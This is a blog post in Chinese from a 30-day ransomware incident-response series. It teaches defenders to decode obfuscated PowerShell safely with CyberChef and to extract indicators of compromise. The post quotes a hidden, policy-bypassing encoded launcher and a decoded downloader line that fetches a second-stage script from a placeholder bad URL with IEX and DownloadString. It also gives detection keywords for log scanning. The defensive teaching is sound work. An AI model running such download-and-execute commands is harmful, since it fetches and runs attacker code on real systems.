iT邦幫忙

2026 iThome 鐵人賽

DAY 12
0
Security

從告警到結案報告:30 天勒索軟體事件應變實戰系列 第 12

Day 12|【動手】從一段編碼 PowerShell 還原攻擊者意圖

  • 分享至 

  • xImage
  •  

案情推進

今天進入實戰動手做

假設在日誌裡,撈到一段長得像亂碼的 PowerShell 指令

今天要分析並拆解出攻擊者的真實意圖


本日探討

  1. 拿到一段混淆的 PowerShell,該從哪裡下手
  2. 怎麼安全地「解碼」而不是「執行」它
  3. 去混淆的通用心法是什麼

一、犯罪現場:一段可疑指令

拿到一段可疑 PowerShell 時,先看它怎麼啟動

powershell.exe -nop -w hidden -ep bypass -enc ...

上述這些參數,已經透露不少資訊。

   外殼參數
   ─────────────────────────────────────────────

   -nop
   -NoProfile
   → 不載入使用者的 PowerShell Profile

   -w hidden
   -WindowStyle Hidden
   → 隱藏 PowerShell 視窗

   -ep bypass
   -ExecutionPolicy Bypass
   → 不受目前 Execution Policy 限制

   -enc
   -EncodedCommand
   → 後面是一段編碼後的 Command

單獨一個參數不能代表惡意。

例如 -NoProfile 在自動化腳本裡很常見。

但如果同時看到:

Hidden
+
Bypass
+
EncodedCommand

再搭配異常 Parent Process 或外連行為,

就會變得很可疑


進行分析時,最重要的原則就是:

不要把可疑指令原封不動貼進 PowerShell 執行

上述這樣就變成直接跑惡意指令了

https://ithelp.ithome.com.tw/upload/images/20260913/20184077sFlwy05FkJ.png


二、動手拆:CyberChef

cyberchef 可以抓到本地做離線版使用

也能直接使用線上版:https://gchq.github.io/CyberChef/

CyberChef 的概念很像把處理步驟排成一張食譜:

   CyberChef Recipe
   ═══════════════════════════════

   Input
      │
      ▼
   From Base64
      │
      ▼
   Decode Text
      │
      ▼
   Output

舉例在 Sysmon Event ID 1 撈到這樣一筆
(下面是教學用的示意結構,不是真實惡意程式碼):

   powershell.exe -nop -w hidden -ep bypass -enc
   SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAuAC4ALgApAA==

上述就把資料抽出來給 Cyberchef 做 decode 來觀察即可
資料:

SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAuAC4ALgApAA==

解碼為下圖

https://ithelp.ithome.com.tw/upload/images/20260913/20184077ASCmGiQuRW.png

一般正常可能會拆出如底下範例

IEX (New-Object Net.WebClient).DownloadString('http://壞網址/stage2.ps1')

上述就知道他是一個 Downloader ,
然後知道會去哪下載第二階段的惡意程式


三、常見的多層混淆:一層套一層

真實樣本常常不只一層。

攻擊者會把「下載指令」再包一層 Base64、Gzip 壓縮、字元替換……

你解開第一層,發現裡面還是亂碼,就繼續解下一層。

https://ithelp.ithome.com.tw/upload/images/20260913/20184077eMSjrDfGCi.png

通用去混淆的想法:

   1. 先讀「外殼參數」判斷可疑度 (不用解碼就能做)
   2. 找出編碼/壓縮的類型 (Base64? Gzip? Hex?)
   3. 用 CyberChef 一層層還原,「只轉換不執行」
   4. 每層思考是:載入器 or 最終 payload?
   5. 抵達最終邏輯 → 萃取 IOC(網址、IP、檔名、帳號)

四、成果:萃取到了什麼

還原到底後,要從中撈出入侵指標(IOC)
作為後續可以進行狩獵(hunting):

https://ithelp.ithome.com.tw/upload/images/20260913/201840776duCtUtbbF.png

這是分析的正向循環:解一台 → 得 IOC → 用 IOC 掃全網 → 找出更多受害者。


藍隊視角:把去混淆能力「自動化」

手動解一段還行,但事件中可能有幾百段。

實務上會:

  • 開啟 4104 腳本區塊記錄(Day 10)
    • 常常直接記下解開後的內容,省掉手動解碼
  • 對日誌做特徵掃描:批次撈出所有含 -encFromBase64StringDownloadString 的事件,優先處理。
  • 把常見解碼流程存成 CyberChef Recipe,重複套用。

今日重點

  1. 拿到混淆 PS,先讀外殼參數判斷可疑度,再只解碼、絕不執行
  2. CyberChef 一層層還原(From Base64 → UTF-16LE → …),每層思考是「載入器還是payload」。
  3. 還原後萃取 IOC,拿去掃全網找出其他受害者

明日預告

Day 13 進入第三幕「他們怎麼擴散的」。

首先會探討 持久化(Persistence)

攻擊者怎麼確保「就算重開機、就算清掉這個惡意程式,他明天還在」?


上一篇
Day 11|卸下防禦:關閉 Defender、繞過安全機制與 BYOT
下一篇
Day 13|賴著不走:服務、排程工作與 WMI 事件訂閱持續性
系列文
從告警到結案報告:30 天勒索軟體事件應變實戰16
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言